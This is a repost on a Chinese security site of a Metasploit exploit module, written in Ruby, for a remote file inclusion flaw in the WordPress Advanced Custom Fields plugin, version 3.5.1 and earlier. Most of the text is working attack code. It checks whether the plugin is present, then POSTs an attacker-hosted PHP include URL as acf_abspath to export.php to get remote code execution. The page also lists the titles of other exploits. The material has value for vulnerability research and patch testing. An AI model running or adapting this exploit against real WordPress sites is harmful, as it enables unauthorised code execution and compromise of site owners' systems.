首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
WordPress Plugin Advanced Custom Fields Remote File Inclusion
来源:http://www.metasploit.com 作者:Eriksen 发布时间:2013-01-04  

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Remote::HttpServer::PHPInclude

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'WordPress Plugin Advanced Custom Fields Remote File Inclusion',
   'Description'    => %q{
     This module exploits a remote file inclusion flaw in the WordPress blogging
    software plugin known as Advanced Custom Fields. The vulnerability allows for remote
    file inclusion and remote code execution via the export.php script. The Advanced
    Custom Fields plug-in versions 3.5.1 and below are vulnerable. This exploit only
    works when the php option allow_url_include is set to On (Default Off).
   },
   'Author'         =>
    [
     'Charlie Eriksen <charlie@ceriksen.com>',
    ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     ['OSVDB', '87353'],
     ['URL', 'http://secunia.com/advisories/51037/'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Compat'      =>
      {
       'ConnectionType' => 'find',
      },
    },
   'Platform'       => 'php',
   'Arch'           => ARCH_PHP,
   'Targets'        => [[ 'Automatic', { }]],
   'DisclosureDate' => 'Nov 14 2012',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/']),
    OptString.new('PLUGINSPATH', [true, 'The relative path to the plugins folder', 'wp-content/plugins/']),
   ], self.class)
 end

 def check
  uri = target_uri.path
  uri << '/' if uri[-1,1] != '/'
  uri << datastore['PLUGINSPATH']
  uri << '/' if uri[-1,1] != '/'

  res = send_request_cgi({
   'method' => 'POST',
   'uri'    => "#{uri}advanced-custom-fields/core/api.php"
  })

  if res and res.code == 200
   return Exploit::CheckCode::Detected
  else
   return Exploit::CheckCode::Safe
  end
 end

 def php_exploit
  uri = target_uri.path
  uri << '/' if uri[-1,1] != '/'
  uri << datastore['PLUGINSPATH']
  uri << '/' if uri[-1,1] != '/'

  print_status('Sending request')
  res = send_request_cgi({
   'method' => 'POST',
   'uri'    => "#{uri}advanced-custom-fields/core/actions/export.php",
   'data'   => "acf_abspath=#{php_include_url}"
  })

  if res and res.body =~ /allow_url_include/
   fail_with(Exploit::Failure::NotVulnerable, 'allow_url_include is disabled')
  elsif res.code != 200
   fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
  end

 end

end

 


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Allied Telesis AT-MCF2000M 3.0
·Ratbox IRCd Denial Of Service
·Astium VoIP PBX <= v2.1 build
·Enterasys NetSight nssyslogd.e
·Astium VoIP PBX 2.1 Remote Roo
·FoxPlayer v2.9.0 Denial of Ser
·Microsoft Internet Explorer CB
·Foxit Reader <= 5.4.4.1128 Fir
·BlazeDVD 6.1 PLF Exploit DEP/A
·Ettercap <= 0.7.5.1 Stack Over
·Aktiv Player 2.80 Crash PoC
·XML-RPC PingBack API Remote Do
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved